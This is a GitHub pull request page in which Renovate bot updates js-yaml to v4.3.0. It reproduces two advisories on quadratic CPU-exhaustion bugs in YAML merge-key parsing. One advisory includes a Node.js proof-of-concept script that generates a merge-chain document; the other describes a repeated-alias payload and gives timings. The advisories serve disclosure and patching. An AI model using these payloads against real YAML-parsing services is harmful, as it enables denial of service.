Skip to content

Update dependency js-yaml to v4.3.0 [SECURITY] - #5065

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-js-yaml-vulnerability
Open

Update dependency js-yaml to v4.3.0 [SECURITY]#5065
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-js-yaml-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jun 29, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
js-yaml 4.1.14.3.0 age confidence

JS-YAML: Quadratic-complexity DoS in merge key handling via repeated aliases

CVE-2026-53550 / GHSA-h67p-54hq-rp68

More information

Details

Summary

A crafted YAML document can trigger algorithmic CPU exhaustion in js-yaml merge-key processing (<<) by repeating the same alias many times in a merge sequence.
This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service.

Details

The issue is in merge handling inside lib/loader.js:

  • storeMappingPair(...) iterates every element of a merge sequence when key tag is tag:yaml.org,2002:merge.
  • For each element, it calls mergeMappings(...).
  • mergeMappings(...) computes Object.keys(source) and performs _hasOwnProperty.call(destination, key) checks for each key.

When input is of the form:

a: &a {k0:0, k1:0, ..., kK:0}
b: {<<: [*a, *a, *a, ... repeated M times ...]}
all *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time.
Resulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows.
Relevant code path:
lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge')
lib/loader.js mergeMappings(...)

Root cause

File: lib/loader.js
Function: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode,
valueNode, startLine, startLineStart, startPos)
Lines: ~359-366

if (keyTag === 'tag:yaml.org,2002:merge') {
  if (Array.isArray(valueNode)) {
    for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
      mergeMappings(state, _result, valueNode[index], overridableKeys);
    }
  } else {
    mergeMappings(state, _result, valueNode, overridableKeys);
  }
}

When the merge value is a sequence (YAML 1.1 <<: [ *a, *a, ... ]), each element
is handed to mergeMappings() without deduplication. mergeMappings() then does

sourceKeys = Object.keys(source);
for (index = 0; index < sourceKeys.length; index += 1) {
  key = sourceKeys[index];
  if (!_hasOwnProperty.call(destination, key)) {
    setProperty(destination, key, source[key]);
    overridableKeys[key] = true;
  }
}

Every alias reference in the sequence resolves (by design) to the SAME object
via state.anchorMap. After the first merge, every subsequent merge of that same
reference is a pure no-op semantically, but still performs:

  • one Object.keys(source) call (O(K))
  • K _hasOwnProperty.call checks on the destination

Total: M * K hasOwnProperty checks + M Object.keys allocations, while the final
object and all observable side effects are identical to a single merge.

YAML semantics for <<: are idempotent and commutative over duplicate sources,
so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off.

PoC

Environment:
js-yaml version: 4.1.1
Node.js: v24.5.0
Platform: arm64 macOS (reproduced consistently)
Reproduction script:
Create many keys in one anchored map (&a).
Merge that same alias repeatedly via <<: [*a, *a, ...].
Measure parse time and compare with control payload using single merge (<<: *a).
Observed repeated runs (same machine):
K=M=1000, input 9,909 bytes: ~33–36 ms
K=M=2000, input 20,909 bytes: ~121–123 ms
K=M=4000, input 42,909 bytes: ~524–537 ms
K=M=6000, input 64,909 bytes: ~1,608–1,829 ms
K=M=8000, input 86,909 bytes: ~3,395–3,565 ms
Control (single merge, similar key counts):
K=2000: ~1–2 ms
K=4000: ~3 ms
K=8000: ~5 ms
Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation.

Impact

This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity).
Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability.

Suggested fix:

Dedupe the merge source list by reference before invoking mergeMappings. Any of
the following are minimal and preserve YAML 1.1 merge semantics:

dedupe in storeMappingPair:

if (keyTag === 'tag:yaml.org,2002:merge') {
  if (Array.isArray(valueNode)) {
    var seen = new Set();
    for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
      var src = valueNode[index];
      if (seen.has(src)) continue;   // idempotent; skip redundant alias
      seen.add(src);
      mergeMappings(state, _result, src, overridableKeys);
    }
  } else {
    mergeMappings(state, _result, valueNode, overridableKeys);
  }
}

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


js-yaml: YAML merge-key chains can force quadratic CPU consumption

CVE-2026-59869 / GHSA-52cp-r559-cp3m

More information

Details

Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)
Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

nodeca/js-yaml (js-yaml)

v4.3.0

Compare Source

v4.2.0

Compare Source

Added
  • Added docs/safety.md with notes about processing untrusted YAML.
  • Added maxDepth (100) loader option. Not a problem, but gives a better
    exception instead of RangeError on stack overflow.
  • Added maxMergeSeqLength (20) loader option. Not a problem after merge fix,
    but an additional restriction for safety.
  • Added sourcemaps to dist/ builds.
Changed
  • Stop resolving numbers with underscores as numeric scalars, #​627.
  • Switched dev toolchains to Vite / neostandard.
  • Updated demo.
  • Reorganized tests.
  • dist/ files are no longer kept in the repository.
Fixed
  • Fix parsing of properties on the first implicit block mapping key, #​62.
  • Fix trailing whitespace handling when folding flow scalar lines, #​307.
  • Reject top-level block scalars without content indentation, #​280.
  • Ensure numbers survive round-trip, #​737.
  • Fix test coverage for issue #​221.
  • Fix flow scalar trailing whitespace folding, #​307.
  • Fix digits in YAML named tag handles.
Security
  • Fix potential DoS via quadratic complexity in merge - deduplicate repeated
    elements (makes sense for malformed files > 10K).

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@codecov

codecov Bot commented Jun 29, 2026

Copy link
Copy Markdown

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 48.22%. Comparing base (9934506) to head (58d94a9).

Additional details and impacted files
@@           Coverage Diff           @@
##           master    #5065   +/-   ##
=======================================
  Coverage   48.22%   48.22%           
=======================================
  Files         827      827           
  Lines       34120    34120           
  Branches     5837     5837           
=======================================
  Hits        16455    16455           
  Misses      15781    15781           
  Partials     1884     1884           
Flag Coverage Δ
api-python 93.25% <ø> (ø)
catalog 25.18% <ø> (ø)
lambda 85.38% <ø> (ø)
py-shared 98.02% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@renovate
renovate Bot force-pushed the renovate/npm-js-yaml-vulnerability branch from 85b5646 to 3b6a6be Compare June 29, 2026 11:47
@renovate renovate Bot changed the title chore(deps): update dependency js-yaml to v4.2.0 [security] chore(deps): update dependency js-yaml to v4.2.0 [security] - autoclosed Jun 29, 2026
@renovate renovate Bot closed this Jun 29, 2026
@renovate
renovate Bot deleted the renovate/npm-js-yaml-vulnerability branch June 29, 2026 20:50
@renovate renovate Bot changed the title chore(deps): update dependency js-yaml to v4.2.0 [security] - autoclosed chore(deps): update dependency js-yaml to v4.2.0 [security] Jun 30, 2026
@renovate renovate Bot reopened this Jun 30, 2026
@renovate
renovate Bot force-pushed the renovate/npm-js-yaml-vulnerability branch 22 times, most recently from 1bf9c13 to 0bcd093 Compare July 7, 2026 06:51
@renovate
renovate Bot force-pushed the renovate/npm-js-yaml-vulnerability branch 4 times, most recently from bbb16f3 to 8012ab2 Compare July 16, 2026 13:32
@renovate
renovate Bot force-pushed the renovate/npm-js-yaml-vulnerability branch 3 times, most recently from e814087 to 5626baa Compare July 21, 2026 05:19
@renovate renovate Bot changed the title chore(deps): update dependency js-yaml to v4.2.0 [security] chore(deps): update dependency js-yaml to v4.3.0 [security] Jul 21, 2026
@renovate
renovate Bot force-pushed the renovate/npm-js-yaml-vulnerability branch 17 times, most recently from 58c7b67 to 30feed9 Compare July 28, 2026 06:03
@renovate renovate Bot changed the title chore(deps): update dependency js-yaml to v4.3.0 [security] Update dependency js-yaml to v4.3.0 [SECURITY] Jul 28, 2026
@renovate
renovate Bot force-pushed the renovate/npm-js-yaml-vulnerability branch 3 times, most recently from c19700e to 6b49ced Compare July 28, 2026 19:19
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants